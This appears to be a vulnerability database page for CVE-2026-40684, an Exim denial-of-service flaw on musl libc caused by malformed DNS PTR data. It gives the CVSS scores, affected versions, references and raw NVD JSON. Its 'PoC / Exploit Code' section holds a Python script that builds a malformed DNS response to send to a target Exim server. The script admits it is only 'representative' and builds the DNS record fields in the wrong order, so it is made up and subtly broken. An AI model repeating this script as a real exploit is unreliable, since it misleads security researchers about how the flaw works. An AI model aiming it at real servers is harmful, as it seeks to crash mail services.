Security Vulnerability Report
中文
CVE-2026-40684 CVSS 5.9 MEDIUM

CVE-2026-40684

Published: 2026-04-30 22:16:25
Last Modified: 2026-05-01 18:16:15

Description

In Exim before 4.99.2, on systems using musl libc (not glibc), an attacker can crash the connection instance when malformed DNS data is present in PTR records. This is caused by a dn_expand oddity in octal printing.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:exim:exim:*:*:*:*:*:*:*:* - VULNERABLE
Exim < 4.99.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # This script simulates a crafted DNS response targeting Exim's dn_expand handling. # It sends a malformed PTR record response intended to trigger the crash. def create_malformed_dns_packet(transaction_id): # DNS Header: ID=tx_id, Flags=Response, Questions=0, Answers=1, Authority=0, Additional=0 header = struct.pack('!HHHHHH', transaction_id, 0x8180, 0, 1, 0, 0) # Query section (omitted for brevity in PoC, assuming response to specific query) # Answer section: Malformed PTR record triggering dn_expand octal issue # Format: Name(2 bytes), Type(2), Class(2), TTL(4), DataLen(2), RData # The specific octal sequence causing the dn_expand oddity in musl libc # This is a representative payload based on the vulnerability description. malformed_name = b'\x01\x00' # Pointer or label length causing issue type_ptr = 0x000c class_in = 0x0001 ttl = 3600 data_len = 0x0004 rdata = b'\xff\xff\xff\xff' answer = struct.pack('!HHIH', type_ptr, class_in, ttl, data_len) + malformed_name + rdata return header + answer # Usage: Run this as a malicious DNS server or inject the packet def main(): print("[+] Generating PoC packet for CVE-2026-40684") packet = create_malformed_dns_packet(12345) print(f"[+] Packet length: {len(packet)} bytes") print("[!] This packet should be sent to the target Exim server as a DNS response.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40684", "sourceIdentifier": "[email protected]", "published": "2026-04-30T22:16:25.477", "lastModified": "2026-05-01T18:16:15.343", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Exim before 4.99.2, on systems using musl libc (not glibc), an attacker can crash the connection instance when malformed DNS data is present in PTR records. This is caused by a dn_expand oddity in octal printing."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-684"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:exim:exim:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.99.2", "matchCriteriaId": "E48EAA99-95DA-4695-BBEA-16D09AA0A508"}]}]}], "references": [{"url": "https://code.exim.org/exim/exim/commit/628bbaca7672748d941a12e7cd5f0122a4e18c81", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://exim.org/static/doc/security/CVE-2026-40684.txt", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://exim.org/static/doc/security/cve-2026-04.1/CVE2026-40684.assessment", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.openwall.com/lists/oss-security/2026/04/30/21", "source": "[email protected]", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/01/11", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}